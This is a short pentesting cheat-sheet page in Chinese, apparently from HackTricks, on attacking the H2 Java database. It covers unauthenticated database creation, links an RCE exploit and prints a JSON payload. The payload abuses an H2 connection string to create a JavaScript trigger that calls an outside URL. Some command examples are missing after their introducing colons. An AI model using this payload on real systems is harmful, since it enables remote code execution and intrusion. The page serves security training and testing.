H2 - Java SQL数据库

Reading time: 2 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

官方页面: https://www.h2database.com/html/main.html

访问

您可以指示一个不存在的数据库名称在没有有效凭据的情况下创建新数据库未认证):

或者如果您知道例如mysql正在运行,并且您知道数据库名称和该数据库的凭据,您可以直接访问它:

来自HTB的Hawk盒子的技巧。

RCE

访问H2数据库后,请查看此漏洞以获取RCE: https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed

H2 SQL注入到RCE

这篇文章中,解释了一种有效载荷以通过H2数据库获取RCE,利用SQL注入

json
[...]
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
[...]

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks